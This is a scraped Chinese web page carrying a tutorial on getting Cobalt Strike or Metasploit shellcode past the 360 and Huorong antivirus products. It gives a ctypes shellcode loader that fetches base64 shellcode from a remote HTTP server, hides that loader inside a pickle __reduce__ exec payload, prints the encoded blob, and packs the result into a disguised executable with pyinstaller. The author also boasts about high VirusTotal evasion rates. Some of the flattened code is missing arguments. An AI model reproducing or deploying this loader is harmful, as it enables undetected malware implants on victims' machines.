相关文章推荐
开心的书包  ·  Oracle存储过程和自定义函数详细讲解_o ...·  8 月前    · 
腼腆的土豆  ·  数据窗口打印参数设置_打印文件参数设置-CS ...·  9 月前    · 
暴走的钥匙  ·  Python 变量作用域-阿里云开发者社区·  1 年前    · 
从未表白的棒棒糖  ·  SQL每日一题F0314,求解一行拆分成多行 ...·  1 年前    · 
憨厚的黄豆  ·  如何在TypeScript中正确键入泛型Re ...·  1 年前    · 
Code  ›  python3 cobalt strike msf shellcode反序列化bypass 360,火绒 - 墨天轮
python3 序列化 base64 msf
https://www.modb.pro/db/631979
俊秀的花卷
1 年前
  • 学习
    • 课程中心
      推荐优质内容、热门课程
    • 学习路径
      预设学习计划、达成学习目标
    • 知识图谱
      综合了解技术体系知识点
    • 课程库
      快速筛选、搜索相关课程
    • 视频学习
      专业视频分享技术知识
    • 电子文档
      快速搜索阅览技术文档
  • 文档
  • 工具
    • SQLRUN
      在线数据库即时SQL运行平台
    • 数据库在线实训平台
      实操环境、开箱即用、一键连接
    • Oracle巡检
      简单两步,查看报告分析
    • AWR分析
      上传AWR报告,查看分析结果
    • SQL格式化
      快速格式化绝大多数SQL语句
    • SQL审核
      审核编写规范,提升执行效率
    • PLSQL解密
      解密超4000字符的PL/SQL语句
    • OraC函数
      查询Oracle C 函数的详细描述
    • Bethune X
      数据库智能监控巡检平台,90天试用
  • 暂无图片
    • 数据库
    • 云计算
    • 数据产品
    • 中间件
    • 操作系统
    • 芯片
  • 我的订单
  • 登录后可立即获得以下权益
    免费培训课程
    收藏优质文章
    疑难问题解答
    下载专业文档
    签到免费抽奖
    提升成长等级
    立即登录
    登录 注册
      • 登录 注册
    • 首页
    • 资讯
    • 数说
    • 活动
    • 大会
    • 课程
    • 文档
    • 排行
    • 问答
    • 云市场
    • 我的订单
    暂无图片
    觉得内容不错?
    一键收藏 方便随时查看
    暂无图片
    暂无图片
    微信扫码
    复制链接
    新浪微博
    分享数说
    暂无图片
    采集到收藏夹
    分享到数说
    首页 / python3 cobalt strike msf shellcode反序列化bypass 360,火绒

    python3 cobalt strike msf shellcode反序列化bypass 360,火绒

    zayki 2023-05-22
    190

    本文仅以分离 免杀 为例,利用 Python 语言制作加载器对 Cobaltstrike 生成的 Shellcode 进行绕过杀软作为样例,举例说明通过加密 Shellcode 、分离免杀以及 Python 反序列化 达到 bypass 的思路和方法。

    我们原始的shellcode加载器是直接把shellcode放在里面进行运行,然而我们的分离免杀

    整体流程是将我们的 Shellcode 与程序进行分离,而上传到目标的可执行程序仅作为一个类似于下载器的程序使用,例如我们可以搭建一个 Http Server ,之后构造我们的 Shellcode 页面,再由本地加载器访问页面地址,获取页面的 Shellcode 内容,之后加载并执行,流程类似于下图。

    首先是httpserver,我们这里采用简便的kali中用python开启web服务,具体方法见https://blog.csdn.net/X_sweelg/article/details/117915045

    首先我们使用cs生成python的payload

    然后把这些payload进行base64编码后放到服务器上面

    如果能访问到如下界面即可

    然后把地址进行序列化,把ip改为自己服务器shellcode地址

    import pickle import base64 shellcode = """ import ctypes,urllib.request,codecs,base64 shellcode = urllib.request.urlopen('http://192.168.1.162/bypass.txt').read() shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), ctypes.c_int(len(shellcode)) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) class A(object): def __reduce__(self): return (exec, (shellcode,)) ret = pickle.dumps(A()) ret_base64 = base64.b64encode(ret) print(ret_base64) ret_decode = base64.b64decode(ret_base64)

    img 最后就可以进行解码和反序列化

    从代码层面来讲,杀软视角的代码仅能看到是一段正常的Base64解码以及反序列化的脚本文件,也就达到了我们Bypass的目的,运行脚本我们可正常上线以及执行命令。

    import base64,pickle shellcode = b'gANjYnVpbHRpbnMKZXhlYwpxAFg1BAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzE5Mi4xNjguMS4xNjIvYnlwYXNzLnR4dCcpLnJlYWQoKQpzaGVsbGNvZGUgPSBiYXNlNjQuYjY0ZGVjb2RlKHNoZWxsY29kZSkKc2hlbGxjb2RlID1jb2RlY3MuZXNjYXBlX2RlY29kZShzaGVsbGNvZGUpWzBdCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMg6K6+572uVmlydHVhbEFsbG9j6L+U5Zue57G75Z6L5Li6Y3R5cGVzLmNfdWludDY0CmN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jLnJlc3R5cGUgPSBjdHlwZXMuY191aW50NjQKIyDnlLPor7flhoXlrZgKcHRyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpLCBjdHlwZXMuY19pbnQoMHgzMDAwKSwgY3R5cGVzLmNfaW50KDB4NDApKQoKIyDmlL7lhaVzaGVsbGNvZGUKYnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKQpjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBidWYsIAogICAgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKQopCiMg5Yib5bu65LiA5Liq57q/56iL5LuOc2hlbGxjb2Rl6Ziy5q2i5L2N572u6aaW5Zyw5Z2A5byA5aeL5omn6KGMCmhhbmRsZSA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuQ3JlYXRlVGhyZWFkKAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQojIOetieW+heS4iumdouWIm+W7uueahOe6v+eoi+i/kOihjOWujApjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksY3R5cGVzLmNfaW50KC0xKSkKcQGFcQJScQMu' pickle.loads(base64.b64decode(shellcode))

    最后可以用pyinstaller进行打包成exe文件,pyinstaller安装方法自行百度

    pyinstaller -F shellcode.py --noconsole -i zip.ico -n base.exe

    最后在dist文件夹中找到base3.exe,火绒和360都能过,vt免杀率也挺高的

    国内的基本都能过,国外的一些过不了

    msf的python免杀也是同理,只是把shellcode的格式需要修改一下,如果后面记得的话就再加上吧

    msf生成python的payload命令

     
    推荐文章
    开心的书包  ·  Oracle存储过程和自定义函数详细讲解_oracle存储函数和自定义函数的区别-CSDN博客
    8 月前
    腼腆的土豆  ·  数据窗口打印参数设置_打印文件参数设置-CSDN博客
    9 月前
    暴走的钥匙  ·  Python 变量作用域-阿里云开发者社区
    1 年前
    从未表白的棒棒糖  ·  SQL每日一题F0314,求解一行拆分成多行问题_哔哩哔哩_bilibili
    1 年前
    憨厚的黄豆  ·  如何在TypeScript中正确键入泛型React函数组件-腾讯云开发者社区-腾讯云
    1 年前
    今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
    删除内容请联系邮箱 2879853325@qq.com
    Code - 代码工具平台
    © 2024 ~ 沪ICP备11025650号